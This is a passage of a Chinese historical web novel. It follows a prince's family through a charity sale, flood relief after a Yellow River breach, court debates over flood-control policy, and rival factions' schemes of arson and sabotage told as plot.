“还有啊!我刚才还看见安国公夫人把她最心爱的那个翡翠屏风捐了!那可是她出嫁时的嫁妆,平日里看得跟眼珠子似的,这下可真真是割爱了。”
“我刚刚还让我家丫鬟去打听了。听户部那两位主事大人说,他们这账目做得清楚严谨,比国库的帐也不差什么。”
翰林院掌院学士夫人神秘兮兮地压低声音,却又控制在能让周围人听见的程度,“说是每一笔钱,都有好几个人同时记录,互相核对,连一个铜板都错不了!”
几位夫人你一言我一语,声音不大不小,恰好能让那些原本窃窃私语、传播谣言的人听得一清二楚。
这些正面、具体、可信的信息,迅速在夫人圈和百姓中间传播开来。
如同阳光终于驱散了阴霾。
那些原本将信将疑的人,心下顿时了然,看向场内忙碌的雍王妃等人,心中充满了敬意。
而几个鬼鬼祟祟、明显在人群中故意低声议论,散播谣言的仆妇,也被早有准备的嬷嬷们,以“行为可疑,恐惊扰贵人”为由,“客气”地“请”出了园子。
随着日头偏西,义卖会圆满结束。
最终筹得的款项数额巨大,远远超出预期。
当最后一件义卖品——
一只前朝官窑的青花瓷瓶被以三千两白银的高价拍出时,全场响起了掌声。
皇后凤颜大悦,当场褒奖了林月瑶及所有出力的夫人们。
顺太妃也拉着林月瑶的手,连声称赞“心思缜密,仁善能干”。
林月瑶与众人商量后,当众承诺,三日内将公布详细收支账目,将内容誊抄后贴在皇城告示栏及几处城门处,供万民监督。
众人掌声雷动,几位协理夫人也与有荣焉。
她们站在林月瑶身后,一个个挺直了腰板,脸上满是骄傲之色。
回府的马车上,林月瑶紧紧搂着女儿,心潮澎湃,一直提着的心,此刻才稍稍落下。
她透过车窗看着渐渐远去的义卖会场,那里似乎还残留着今日热闹的痕迹。
林月瑶知道,今日能如此顺利,女儿那看似天真、实则精准的“提醒”居功至伟。
“稚儿,今日多亏了你。”林月瑶轻抚女儿的头发,声音略有些哽咽。
姜稚依偎着母亲,小脸蹭了蹭母亲的手,软软地说,
“娘亲才是最辛苦的。稚儿只是不想看到坏人欺负娘亲,也不想让等着救命的灾民伯伯婶婶们失望。”
她顿了顿,抬起清澈的眼眸望向林月瑶,小声道,“那个坏秀才和坏丫鬟,爹爹会处理好的,对吗?不能让他们背后出坏主意的人再害人了,是吧!”
林月瑶目光微冷:“放心,你爹爹不会让他们继续白费心思的。”
而这边,雍王姜肃很快拿到了副统领的详细禀报,以及赵文瑞的部分口供。
书房里,姜肃面色阴沉地听着下属的汇报,修长的手指有节奏地敲击着案几。
那案几上摆放着一套上好的端砚,砚台里的墨汁已经干涸,显示着主人不佳的心情。
“王爷,那赵文瑞虽然不敢直接指认窦贵妃和国舅,但他说窦府管家曾经暗示他,若能坏了义卖会的名声,就能得到五百两银子的好处。”
副统领单膝跪地,声音低沉,"而那个丫鬟,她家里人前几日突然多了一笔来路不明的银子,她老子娘还买了新院子。"
虽然还没有直接证据证明幕后黑手,但姜肃手中掌握的线索,加上捐献玉器的王氏的口供,也足够他拼出大概。
"继续查。"姜肃的声音冷得像冰,"本王倒要看看,他们背后到底还有多少魑魅魍魉。"
与此同时,窦贵妃长春宫中。
在接到心腹急报,得知计划全盘失败,甚至折了暗桩后,窦贵妃气得将满桌茶盏全部扫落在地,美丽的脸上也狰狞如恶鬼。
“好!好得很!林月瑶,本宫倒是小瞧了你们了!”她眼中寒光四射,“本宫倒要看看你们能得意到几时!咱们来日方长!”
她猛地转身,对身边的心腹宫女道:
"去,告诉国舅爷,就说本宫说的,让他最近收敛些,别让人抓了把柄。至于其他人…他知道该怎么做。"
窦贵妃冷笑出声,那笑声让人不寒而栗。
而回到王府的姜稚,刚要跟爹娘一起用晚膳时,一个坏消息便传了进来。
豫州那段出现裂缝的支堤,在连绵的雨水和上游洪峰倾泻而下后,终是溃开了一道十余丈的口子!
虽然当地官员已经尽可能疏散,但仍有数个村庄被淹,百姓死伤情况未明。
听闻此讯,姜稚手中的玉箸“啪”地掉在桌上,小脸也微微发白。
【还是决口了…虽然可能因为预警和疏散,比书里描写的死亡场面会减弱一些,但有些百姓还是会遭殃。】
姜肃听到消息马上整装进宫,而姜稚也是食不知味,扒了几口饭,便回到自己的园子。
夜深人静,她躺在床上,辗转反侧,眼前仿佛浮现出洪水滔天,百姓哭嚎的画面。
【不行,不能坐以待毙,还是想想能做点什么!】
姜稚心中盘算着,一夜无眠。
第40章 黄河救急,“稚川先生”显神威
豫州黄河决口的消息如同惊雷,彻底震动了朝野。
虽提前做了预警和疏散,但洪水肆虐之后,数万灾民仍是无家可归,缺衣少食。
浸泡在泥水中的家园与田地,更孕育着巨大危机。
朝堂之上,皇帝紧急增拨了部分内帑,姜肃主导的“捐输司”也开始运转。
响应号召的富商虽不少,但募集钱粮、调拨物资、组织民夫、安排运输…各种事务千头万绪。
朝廷内的低效在突如其来的大灾面前暴露无遗。
层层公文往来,道道手续审批...等第一批朝廷赈灾物资艰难起程时,距离决口已过去数日。
然而,就在这焦灼的等待期间,另一支队伍却以令人瞠目的效率,率先抵达了豫州灾区。
这支队伍规模庞大而不杂乱,打头的旗帜上并非官府徽记,而是古朴的“稚川”二字。
队伍中,满载粮食、药材、布匹、帐篷的马车络绎不绝。
随行的,不仅有精干的伙计,还有数十名携带着锹镐,绳索等工具的工匠。
队伍里甚至还有十几位背着药箱,神色沉静的大夫。
领头的是个三十岁左右、面容精悍的男子。
此人正是乔装改扮、亲自压队前来的福安。
他手持一份盖有特殊印鉴的“勘合”。
沿途关卡见到那“稚川”旗号和勘合后,都迅速放行,甚至提供了部分便利。
这背后,是雍王姜肃不动声色的运作,也是在姜稚“启发”下的成果。
决口消息传来的次日,姜稚“无意间”在父亲的书房内,看到摊开的灾区地图和物资清单,以及各个部门的流程奏表,然后“天真”得发表自己的意见:
“爹爹,朝廷发放东西的话,要户部、吏部、司农司…这么多大官签字呀!好麻烦啊!”
“那稚川先生的商队,用自己运货的马车直接过去的话,会不会更快一点?”
“他们平时运货,肯定知道怎么走近路,怎么过关卡最快吧?关键是,还不用那么多人来决策…现在,灾区的伯伯、婶婶们可等不起啊!”
姜稚的话,恰好切中了朝廷赈灾流程冗长,而民间力量灵活高效的关键。
姜肃心中迅速有了决断。
他立刻以“稚川先生”的名义,向福安下达了秘密指令:
动用商行能动用的最大资金和资源,以最快速度,组织可靠人手,由他亲自带队,手持雍王府特批通行勘合,日夜兼程赶赴豫州!
一切行动都要以救人救灾为第一要务,不必计较成本。
同时嘱咐福安,要乔装易容后,再跟随队伍一起出发。
到了地方,先要听从当地官府统筹,但若官府无能或腐败,可见机行事,务必让所有物资最快到达灾民手中!
期间,若有人阻拦商行行事,可亮出雍王府勘合,除此之外需尽量低调。
平时行一切事务时,只需突出‘稚川商行’之名即可。
福安领命后,心中对这位运筹帷幄、心怀慈悲的“稚川先生”敬佩得五体投地。
于是,便有了这支如同天降神兵般的“稚川”救灾队,出现在了混乱的灾区。
救灾队的到来,对于灾区而言,无疑是雪中送炭。
福安行事果决,在抵达后,迅速与当地的县衙取得联系。
他带来的不仅有物资,还有一套清晰的执行方案。
在县城外围高地,迅速划定不同区域,比如安置区、诊疗区以及物资发放区,甚至还初步规划了“疑似病患隔离处”。
商行伙计和雇佣的帮工们,火速搭建棚舍,挖掘简易渗水井,并强调周边百姓,饮水时必须煮沸。
随行大夫也立即开始巡诊,并熬制分发防疫汤药。
工匠则指导灾民清理废墟,一起处理动物尸体…
一切都井井有条,专业高效。
热气腾腾的米粥,很快就分发到瑟瑟发抖的灾民手中。
反观当地的官府赈济点,仍在为物资分配争吵,二者形成了鲜明对比。
“稚川商行”的名号,伴随着食物的香气和药材的苦涩,如同温暖的春风,迅速吹遍了这片被洪水蹂躏的土地。
无数灾民跪地叩谢,口中念诵着“稚川先生大恩大德”。
消息传回京城,朝堂震动之余,反应各异。
工部官员在奏报灾情时,不得不提及:
“…幸有义商‘稚川先生’所遣商队,携大量粮药工匠及时抵达,施粥增药,助民修屋,民心稍定…”
姜肃在旁垂眸静立,心中却波澜微动。
女儿的“一念之善”,经“稚川先生”之手,真的发挥了他想象不到的效果。
皇帝闻言,脸上阴霾稍散,眼中惊异更甚:
“哦?又是这个‘稚川’?前番,此‘稚川’还在京城慷慨激昂,如今又急公好义,救灾于前。想不到他竟有如此家国情怀与魄力手段。”
“此人,当真只是商贾?”
皇帝看向姜肃,目光带上了更深的探究。
姜肃心中自豪与压力并存,坦然且恭敬地回道:
“父皇,儿臣亦觉‘稚川先生’非常人也。其不仅富甲一方,更似精通医理民生,心怀悲悯,实乃难得的义商奇才。”
皇帝听后,似有赞同:“既如此,那传旨豫州,朕要对稚川先生的义举,予以嘉勉。”
王珣却在此刻出列,语气沉凝:
“陛下,此‘稚川先生’确实高义,令人钦佩。然,臣有所虑。”
“其一,商贾之流,组织如此庞大人力物力,逾越地方官府行事,长此以往,恐开民间豪强干预地方政务之恶例。”
“其二,其所行防疫之法,虽看似有效,然毕竟非朝廷典章所载,若有效验还好,倘若因此法疏漏导致疫情扩散,或引起民怨,又该当如何?”
“其三,‘稚川’此番耗费巨万,其钱财来源是否全然清白?”
“臣以为,当遣专员即可前往豫州,一则核查其救灾账目,二则‘协助’其救灾事宜,以免好心办坏事。”
王珣这番话,可谓老辣阴毒。
表面上冠冕堂皇,处处为朝廷、为灾民着想,实则句句暗藏杀机。
一方面,指责“稚川”越权、质疑其方法可靠性,另一方面,怀疑其资金来源。
而派人去“核查”和“协助”,明为监督,实为掣肘甚至找茬!
支持雍王的官员立刻反驳,认为王珣是吹毛求疵,阻挠善举。
皇帝沉吟片刻,显然也被王珣的话触动了某些顾虑。
他虽欣赏“稚川”的才能与义举,也难免对其过于庞大的影响力和“非官方”色彩产生疑虑。
朝臣们,包括雍王姜肃在内,都在等着看皇帝的态度。
第41章 炙手可热!各方都在窥探稚川
大殿之上,皇帝姜桓沉思片刻之后,有了决断。
“王爱卿所虑,不无道理。”皇帝缓缓道。
“然救灾如救火,此刻苛责义商,恐寒天下善心。”
“这样吧,着刑部、户部各派一名干员,前往豫州。虽名为‘嘉奖慰问稚川商行’,实则可从旁了解其救灾实况与耗费。”
“但行动务必公允,不可故意滋扰生事。”
这算是皇帝的折中之策。
既部分回应了王珣的“关切”,又没有完全否定“稚川”的功劳,同时还保留了进一步观察的余地。
“陛下圣明。”官员们纷纷附和。
姜肃心知,这是世家开始发力了。
他们在正面无法阻止“稚川”赢得民望,便开始从规则、从猜疑层面进行打击和限制。
这“嘉奖慰问”的钦差,将无疑是悬在商行头上的一把剑。
退朝后,姜肃立刻通过秘密渠道,向福安传递了最新的朝堂动向和皇帝的微妙态度。
提醒他务必谨慎,行事时尽量与地方官员合作,避免授人以柄。
同时,也嘱咐他,要提前开始暗中布置,准备应对钦差可能的各种刁难。
而王珣等世家一派官员的脸色却难看至极。
他们本想在赈灾过程中,借着混乱和可能的贪腐,给雍王和他主导的捐输司做些“文章”,多使些绊子。
却没料到,半路杀出个“稚川”,不仅以快速有效的方式救了灾,更是收拢了很大一波民心以及皇帝的赞赏!
密室之内,王珣脸色铁青。
“这个‘稚川’,必须尽快除掉。如若将来他与雍王联手,太子就更无复出希望。去找人,不惜一切代价,给我查出他的底细!”
“还有,豫州那边,不能让他那么顺风顺水!”
窦国舅也是咬牙切齿:
“已经加派人手去查了。但这‘稚川’藏得太深,所有线索,到了江南似乎就断了。”
“不过,救灾可是个肥差,也是容易出事的地方…咱们的人,或许可以在物资和其他地方,做些手段…”
就在京城暗流因为“稚川先生”的再次出手而愈发汹涌时,雍王府内,却是一片振奋气氛。
下人们都在传颂着“稚川先生”的义举。
姜稚听着丫鬟们兴奋地讨论,小脸上也露出开心的笑容,心里美滋滋的。
【这‘稚川先生’动作真快!还救了那么多人,真好!看来这位先生不仅会赚钱,还很有良心和执行力嘛!不错不错,爹爹的合作伙伴真靠谱!】
而她完全没有意识到,自己就是那个被交口称赞的“良心合作伙伴”。
姜肃看着女儿纯然欣喜的模样,心中柔软又复杂。
他忽然觉得,是时候让女儿更深入地接触一些事情了。
女儿如此聪慧,心地又纯善,或许可以开始让她慢慢知晓,“稚川先生”与她之间那奇妙的联系。
当然,还是要循序渐进。
“稚儿,”姜肃唤过姜稚,温声道,“此次黄河水患,‘稚川先生’义举,天下称颂。你觉得,此事之后,朝廷和百姓,会如何看待商贾?”
姜稚歪着头想了想,最后认真答道:
“以前,大家都觉得商人唯利是图。但像‘稚川先生’这样,取之于民,用之于民的,应该能改变一些人的看法吧?”
“至少,从此以后,大家会知道,商人里也有好人,也能做大事。”
“说得对。”姜肃赞许地点点头。
“而且,女儿觉得,经此一事,‘稚川先生’若想再做一些利国利民,但可能需要更大投入,甚至一时不被理解的事情,会更容易些。”
姜肃笑了笑,不置可否,只是意味深长地说,
“或许吧。稚儿,你要记住,有时候,名声和信誉,本身就是最强大的力量。善用他们,可抵千军万马。”
姜稚听了,似懂非懂地点点头。
她隐约觉得,爹爹似乎在暗示什么很重要的东西。
而此刻,豫州灾区,暗流也已开始涌动。
商行组织的防疫措施推行时,开始遇到一些不明原因的阻力。
有胥吏暗中散布“分区分开家人是不详”、“沸水麻烦无用”的谣言;
采购的石灰和某些药材,价格突然被人为抬高,或者质量以次充好;
甚至有几个被商行雇佣来帮忙处理尸体的当地青壮,莫名其妙受了轻伤,有人声称是他们“触怒了水鬼”…
福安很快察觉到了异常,再结合王爷给他的密信,很快做出了应对。
他一方面加强戒备,严厉约束手下。
所有采购也多重核验,所有行动也尽量拉上残存的里正、乡老作证;
另一方面,他巧妙地利用灾民对“稚川”的信任和感激,将一些防疫的必要性通过灾民之口传播,形成舆论压力,让暗中搞鬼的人不敢太过分。
同时,他按照姜肃的指示,开始有意识地整理一份详细的救灾日志和账目。
每一笔支出、每一项行动、每一份雇佣契约都记录得清清楚楚,随时准备应对审查。
而千里之外的北疆,朔风凛冽。
刚刚结束一场小规模围剿战的姜寒川,在卸下染血的铠甲后,收到了来自京城的密报。
密报中的内容很是详实,不仅包含了“稚川”救灾的具体举措和成效,还提到了朝廷派员“慰问核查”的消息,以及灾区隐隐出现的阻力。
姜寒川修长的手指轻轻敲击着案几上的密报,眼底闪过一丝异彩。
盐政,赈灾…
这位“稚川先生”每次出手,都精准地切中时弊,且效果显著,着实不凡。
这绝不是一个普通商贾所能为。
而朝廷和王家的反应,也在他预料之中。
“稚川商行”这些年暗中输送给龙渊军的物资,质量上承,源源不断,解了他不少燃眉之急。
姜寒川曾试图深入打听,商行的东家“稚川先生”到底是何人。
但商行方面口风极紧,根本无法探寻。
如今看来,这位东家应该与雍王姜肃关系匪浅。
“雍王…稚川…”
姜寒川低声念着这两个名字,深邃的眼眸中跃映着跳动的烛火,仿佛有暗流在冰封之下涌动。
“传信给我们在豫州附近的人,”他低声吩咐亲信。
“暗中留意‘稚川商队’的动向,若发现他们遇到实在难解的麻烦…可酌情提供些许便利。但务必隐秘,不可暴露身份!”
“是!”亲卫领命后,迅速离去。
姜寒川走到营帐门口,望着南方沉沉的天际。
那里有他的“根”,有未报的仇,也有…值得深究的人和事。
或许,他真的该考虑一下,何时回归到那片繁华与危机并存的土地...
第42章 小智囊又上线了
豫州黄河水患,在“稚川商行”的介入以及朝廷后续赈济下,险情虽未完全解除,但灾情得到了初步控制。
夏日的阳光透过雕花木窗,洒在雍王府书房临窗的紫檀木大案上。
案头一枚羊脂白玉镇纸下,压着最新的黄河汛情图。
图已起了毛边,黄河溃口处被朱砂圈了又圈,颜色已经红得发暗,像一处迟迟不肯结痂的伤口。
姜肃眉头紧锁,指尖在豫州段那道刺目的溃口标记上反复摩挲。
他一袭玄色云纹衣衫,襟口因连日伏案而微皱。
距他五步之外,是一张矮半尺的花梨木小儿书案。
姜稚穿着一身鹅黄色暗纹纱衫,正伏在书案后,专注地临摹着一幅《禹贡河图》。
她身姿已初显少女的挺拔。
乌发分作两绺,以月白丝带束在耳后,发尾扫过颈窝,衬得那截后颈越发皙白。
侧脸在阳光下莹润如玉,长睫在眼睑下投出浅浅的扇形阴影。
她神情专注,身上带着一种超脱年龄的沉静。
雍王妃林月瑶端着一个红木托盘轻轻走了进来。
托盘上盛放着一盏刚沏好的雨前龙井,还有一盏冰镇过的杏仁酪。
“稚儿,王爷,都过来歇一歇,用些点心和茶水吧。”
林月瑶的声音先于人至,像一泓温水滑过冷玉。
她今日只着淡紫窄袖衣裙,裙角用同色丝线绣折枝丁香。
行走间几乎不闻环佩,只托盘里两盏甜白瓷相碰,发出细碎的瓷器碰撞声。
姜肃闻声回头,眼底血丝未褪,眼神却在触及妻子那一刻稍稍柔软。
林月瑶把茶盏放在他右手边,指尖在杯壁试了试温度,才道:
“雨前龙井,第三泡。再耽搁就苦了。”
杏仁酪则盛在缠枝莲纹小盏里,此刻盏外凝着一层雾珠,透着凉意。
姜肃“嗯”了一声,却先伸手覆在林月瑶的腕背。
待他的指腹触到微凉后,微微蹙眉:“阿瑶,手怎么这样冰?”
林月瑶失笑:“外头日头毒,我绕过长廊,手被风一吹就凉,不碍事。”
她口中说无妨,却仍由丈夫把那双细瘦的手包进掌心,轻轻搓了两下。
另一头,林月瑶见姜稚还没放下笔,便出言轻声催促道:
“稚儿,你也歇一会儿,用些点心。这杏仁酪是你爹爹特意让人从庄子上送来的新杏仁做的,清甜解暑。”
姜稚闻声抬头,眼睛顿时弯成了月牙:“谢谢娘亲!”
她放下笔,凑到母亲身边,依恋地蹭了蹭林月瑶的手臂。
在原来的世界中,由于自己父母早逝,姜稚没有过多体会过亲情。而来到这个时代后,既然重新获得了父母宠爱的机会,她自然十分珍惜。
林月瑶爱怜地抚了抚女儿细软的发丝,看着她端起瓷盏小口啜饮,温声低语道:
“稚儿,你爹爹这几日食不下咽,你可有法子让他展展眉?”
这话半是玩笑,半是期盼。
这些年,女儿偶尔的“童言稚语”或“突发奇想”,往往能给丈夫和自己带来意想不到的灵感和慰藉。
尤其自从上次的“义捐会”,林月瑶更是深刻感受到了女儿不同寻常的“福慧”。
姜稚抬眼,琥珀色瞳仁里映出母亲满是担忧的神色。
她没立刻回答,反而把还剩半盏的杏仁酪递回给林月瑶:“娘也吃,味道很好。”
林月瑶一怔,随即欣慰一笑,却见女儿已转身,鹅黄裙摆扫过地砖,像一瓣早开的迎春,径直扑到姜肃案前。
她抬起头,对着姜肃展颜一笑。
那笑容清澈明亮,似乎瞬间驱散了书房内的几分凝重。
“爹爹,”她很自然地依偎到姜肃身边,仰头看着案上的汛情图,“这图上的红线,就是黄河现在最危险的地方吗?”
“正是。”姜肃指着地图耐心讲解,“你看,此处河床已高出地面,形如悬河。一旦涨水,便如利剑悬于百万生灵头顶。”
姜稚凝视着地图,小脸上露出与年龄不符的沉思。
她伸出纤细的手指,沿着黄河蜿蜒的曲线轻轻滑动,最后停留在几处关键弯道上。
心中思绪翻腾。
前世在书本上看过的零散治河知识,与眼前的地图渐渐重合。
林月瑶温柔地抚摸着女儿的头发,对姜肃道:
“稚儿虽小,却似乎对这些山河地理格外上心。前日还问我《水经注》里关于黄河的记载呢。”
姜肃看着女儿专注的侧脸,心中暖流涌动,又夹杂着难以言喻的骄傲与期待。
他顺势道:“哦?稚儿对治河也有兴趣?不妨说说你的看法,童言无忌,或许别有洞天。”
姜稚眨了眨眼,随即组织了一下语言,尽量用浅显的话说:
“爹爹,在女儿看来,黄河就像个不听话又吃得太饱的孩子。水是它的力气,泥沙是它肚里的积食。光堵着不让它闹,它力气憋大了更难受,肚里的积食也没法消化。”
“是不是可以既给它“立”一些规矩,让它顺着该走的道使力气的同时,又帮它把积食慢慢排出去呢?”
这个比喻稚嫩却生动形象,让姜肃和林月瑶都怔了怔。
林月瑶失笑:“你这孩子,哪来的这些稀奇比喻。”
姜肃眼中却精光一闪,抚掌道:“好一个‘规矩’与‘消化’!话糙理不糙。稚儿,你继续说,怎么给它‘规矩’,又怎么帮它‘消化’?”
得到认可后,姜稚胆子大了些,指着地图上几处:
“比如这里,河道太宽,水流就慢,泥沙容易沉下来。如果能在两边建结实点的堤坝,把河道收窄一些,水流急了,是不是就能把沙冲走一些?”
“还有,在这些地方可以提前挖好一些低地,或者建一些有缺口的水坝,万一水太大太急,就让它从这些地方流走一部分,免得全都冲到主河道。”
虽然姜稚说得有些磕磕绊绊,但核心思想却清晰地传递出来。
姜肃越听心中越亮!
他强压激动,赞道:“稚儿聪慧!此等想法,暗合水流泥沙之理,别开生面!为父需好好思量,与工部精通河务的同僚探讨一番。”
林月瑶见丈夫和女儿如此,深感欣慰。她搂紧女儿,柔声道:“我们稚儿不仅是个小福星,没想到还是个小智囊!”
姜稚被夸得有些不好意思,小脸微红,依赖地蹭了蹭母亲温暖的怀抱,心里却甜滋滋的。
第43章 小姜稚她心怀天下
数日后的大朝会,围绕治河方略朝臣开始争论不休。
工部守旧,户部哭穷,各方僵持。
朝堂之上,工部拿出了传统的“堵口—加固—加高”的方案,且直言此乃治标不治本,黄河泥沙问题不解决,明年、后年依旧可能决口。
户部尚书王珣则抓着钱粮问题不放,强调国库空虚,如此浩大工程难以支撑,隐隐有将责任推给地方,主张“量力而行、徐徐图之”的意味。
皇帝姜桓听着底下臣工各执一词,头疼不已。
就在这时,雍王姜肃再次站了出来。
经过这段时间的消化,以及与工部几位实干官员的秘密商讨,他已将女儿所说的治河理念,结合本朝实际情况,初步整合成了一套相对完整的治河方略。
“父皇,儿臣以为,治黄如治病,需标本兼治,不可头痛医头,脚痛医脚。”
姜肃声音清朗,压过了殿内的嘈杂。
“堵口固堤,固然紧要,但若不能解决泥沙淤积、河床抬高之根本,则今日堵,明日溃,徒耗民脂民膏,徒增百姓苦难。”
“哦?雍王有何良策?”皇帝目光投来,带着期待。
“儿臣近日与工部诸位同仁研读古籍,访察河工,偶有所得。”
“草拟一策,名曰‘束水攻沙,固堤导流’。”
姜肃展开早已备好的奏章和图卷,由大总管赵德全呈上御前,同时向众臣阐述。
“所谓‘束水攻沙’,源自《汉书·沟洫志》中‘十里立一水门,令更相回注’之意,加以变通。”
“其核心在于,不再一味加高拓宽堤防,而是在关键河段,修筑坚固的缕堤,束窄河道。在提高水流速度同时,利用水力冲刷河床,带走泥沙,防止淤积。”
“同时,在缕堤之外,修筑遥堤,以作防洪屏障。再辅以格堤,分割水势,保护遥堤。”
他一边说,一边在图卷上指点。虽是一些简图,但理念清晰,结构分明。
“此外,还可在适宜河段,修建减水坝、滚水坝,在洪水过大时可主动分流,减轻主河道压力。”
“对于已堵塞严重的河段,则需组织人力,结合水攻,进行局部疏通。”
“此乃治标之策。”
姜肃说到这里略一停顿,随后继续补充道。
“而治本之策,在于黄河中上游。应鼓励百姓多种植树木,以固水土,从源头上减少泥沙入河。”
“此非一日之功,但需即刻着手。功在当代,利在千秋!”
一番论述,条理清晰。
既有古籍依据,又有创新思路,更难得的是兼顾了“标”与“本”。
殿内一片寂静。
许多官员,包括一些工部官员,都听得愣住了。
这套方案,完全颠覆了他们以往“堵堵堵”的惯性思维,引入水力冲刷、主动分流、源头治理等概念。
听起来…竟真有几分道理!
王珣脸色变幻。
他虽不通工程,但也听出这套方案若真能施行,效果可能远超旧法,而且一旦成功,提出此策的雍王将获得巨大声望!
他立刻出言质疑:“雍王殿下所言,看似巧妙,然工程浩大繁杂,前所未有,风险极高!”
“束水攻沙,若束之过紧,洪水无处宣泄,岂不更易溃堤?植树造林,更非一朝一夕可成,远水难救近火!此策恐为纸上谈兵,虚耗国力!”
支持姜肃的官员则纷纷反驳,指出旧法弊端已显,必须寻求新路。
朝堂再次陷入争论。
皇帝仔细看着图卷,又听了双方辩论,沉吟良久。
他是经历过多次黄河水患的,深知旧法之弊。
姜肃提出的新策,虽然冒险,但思路新奇,且引经据典,似乎确有可行之处。
更重要的是,他看到了这个儿子身上那种敢于突破陈规、着眼长远的锐气。
“好了。”皇帝终于开口,“雍王之策,别开生面,姑且不论能否完全成功,其敢于思变、着眼根本之心,值得嘉许。”
“治河乃千秋大业,确需新思。着工部,以此策为基础,结合豫州等地实际情况,详细勘测规划,尽快拿出切实可行的施工方案及预算,再行议决。”
“至于钱粮…”皇帝目光扫过众臣,“盐引制章程已基本议定,即将推行。首批盐引所获之利,可优先用于治河!”
皇帝此言,几乎等于认可了姜肃方案的思路,并将治河与正在推进的盐引制直接挂钩,赋予了其财政保障!
“儿臣(臣)领旨!”姜肃心中大定,躬身应诺。
王珣等人则脸色更加难看。
待姜肃回到雍王府,迅速将这个消息跟雍王妃林月瑶分享。
“父皇虽未全盘采纳,但已属难得。此策若成,黄河安稳数十年也绝对没问题!稚儿…功不可没。”
最后一句,姜肃说得极轻。而其中深意只有他自己知道。
林月瑶只当丈夫是夸女儿聪慧,能带来福气,笑着点头:“稚儿确是咱家的福星。”
而此刻,被父亲认为“功不可没”的姜稚,却正对着一份“偶然”出现在她小书房桌上的、厚厚的账册和一份名为“豫州灾后重建及治河初步预算”的文书发呆。
这是姜肃授意福伯“不小心”遗落的。
账册是“稚川商行”近一年的收支总览,数字庞大得让姜稚咋舌。
预算文书则详细列出了修复豫州决口,部分工程所需的人工、材料、钱粮估算,同样是个天文数字。
而后面,还附有工部初步核算的朝廷能拨付的差额,缺口巨大。
【我的天…商行这么赚钱?不对,是‘稚川先生’这么厉害?这赚的钱,都快赶上一些州府一年的赋税了吧?】
【治河的花费也太高了!朝廷只能负担这么点吗?剩下的缺口怎么办?】
姜稚拿起笔,在纸上开始写写画画。
她虽然不懂具体工程怎么施展,但她懂算账,懂资源配置。
她开始尝试“模拟”如果自己是“稚川先生”,面对这样巨大的资金缺口和利国利民的工程,会怎么做。
写完之后,姜稚看着自己涂涂改改的纸页,小脸上露出一丝犹豫。
毕竟,就目前而言,她只是一个小孩子。
她的想法,真的会被完全采纳吗?
姜稚想了又想,最终还是将这张纸小心地折好,夹在了一本她常看的《地理志》里,放在了父亲书房显眼的位置。
她想,如果爹爹看到了,觉得有用,自然会去和“稚川先生”商量。
如果觉得不行,那就当是她“小孩子”胡闹。
姜稚不知道的是,她刚离开,姜肃便走进了书房,抽出那张折好的纸,细细看起来。
看到上面思路清晰的“献策”,尤其是那句“不图回报,只为天下苍生和后世子孙”,姜肃的眼眶竟微微发热。
他的稚儿,不仅聪慧,更有以天下为重的胸怀和魄力!
他的计划,是时候要提前了!
第44章 阴谋迭起,毒计满天飞
就在大家将重心都放在治河新政之时,以王珣为首的世家反扑,远比姜肃他们预想的要来得更快、更阴狠。
就如同是精心编织的毒网,在阳光照不到的角落里悄无声息地收紧。
他们的手段并非粗暴的打砸抢烧,而是深谙官僚体系之弊与人性的幽暗,将毒牙深深埋入了看似平静的政务运作与浩大工程之中。
首先发难的,便是户部。
在户部那间充斥着陈旧墨香的值房里,王珣的心腹郎中正对着治河预算册逐条“斟酌”。
“缕堤需用青冈石?此石虽坚,然开采运输成本过高。豫州本地麻石即可,无非多费些人力修补。”
朱笔一划,关键建材标准悄然降低。
“民夫日粮三钱,工钱二十文?灾后粮价略涨,岂可因此靡费?日粮二钱半,工钱十八文足矣。”
细微的削减,乘以数万民夫和漫长的工期,便成了巨大的资金缺口与潜在民怨。
更狠的是,一份由王家门生起草的《盐引预期与治河用款暂行挂钩疏》被悄然塞入议事流程。
意图将治河的命脉悬于尚未落地的盐引收入之上,令工程随时面临断炊之危。
工部的阴招则更具技术性。
被窦家拉拢的员外郎,在“悉心”审核施工图时,在标注水门位置的等高线图上“笔误”了毫厘,在计算分流坝倾角的算式里又“遗漏”了一个参数。
这些被巧妙扭曲的细节,足以让堤坝在洪水中的支撑力失衡。
更致命的是。
一份标注了建材堆放点的“内部简报”,通过宴请时“醉酒”的工部小吏之口,“无意间”流入了豫州几位背景复杂的木材商与石料商的耳中。
洪水退去后的泥泞尚未干透,新的“天灾人祸”迅速在豫州接踵而至。
储存着首批优质木料的仓库,夜半时分突起“无名火”。
火势诡异而迅猛。
等附近村民发现时,已成冲天之势,根本来不及抢救。
两名奉工部密令、携带精密罗盘与水平仪前来复核关键数据的年轻官员,在乘小舟渡河时,舟底榫头“意外”松动,河水涌入,致使仪器与图纸沉入滚滚浊流。
其中一位官员,在慌乱中还磕在了船舷上,导致腿骨碎裂,短期内无法行走工作。
与此同时,乡野间流传起绘声绘色的说法:
“那‘束水攻沙’是逆天而行,河神爷发怒才让仓库着火、官爷落水的!硬要搞,明年怕是要淹得更惨!”
谣言说得有鼻子有眼,在惊魂未定的乡民中迅速发酵,甚至开始有零星乡老聚集,欲向县衙请愿“停止邪法,祭祀河神,以慰神灵”。
一连串的“意外”和阻力,如同无形的枷锁,一层层套在刚刚起步的治河工程上。
工程进度严重滞后,人心浮动,资金也是捉襟见肘。
朝中反对之声再起,王珣等人更是趁机攻讦,称“新法未行,先惹祸端”,要求立即停止“束水攻沙”,回归传统筑建之法。
甚至将矛头指向提出此策的雍王姜肃,指责其“好大喜功,罔顾实际”。
压力如山,倾泻而至。
雍王府的书房,气氛凝重如铁,烛火通明至深夜。
姜肃面沉如水,听着手下的低声禀报:
“王爷,豫州飞鸽传书,火场灰烬中发现火油痕迹,这绝非天灾。”
“为落水官员撑船的船夫也失踪了,至今下落不明。但听他邻里透露,他们在事发前几日突然变得豪爽起来,购置了很多新衣、粮食。”
“市面上麻石价格被几家商号联手抬高三成,青冈石则被神秘买家大批预购,货源吃紧。”
“本地几个原先答应出民夫干活的乡绅,也开始推三阻四,说是‘民意汹汹’…”
姜肃背对烛光,身影在墙壁上拉得老长。
他手中捏着一份被退回要求“重新核减”的预算批复,指节微微发白。
对手的连环计,环环相扣。
从朝廷到地方,从钱粮到人心,从技术到舆论,几乎堵死了所有正常推进的路径。
他能感觉到那张无形的网正在向他收紧。
这群人并非简单的破坏,而是要制造出一种“新法行不通,雍王姜肃无能,治河无望”的颓势。
这种认知一旦形成,不仅治河大业可能夭折,自己乃至“稚川先生”积累的声望也可能毁于一旦。
“王爷,如今形势不妙。”心腹在旁也是眉头紧锁。
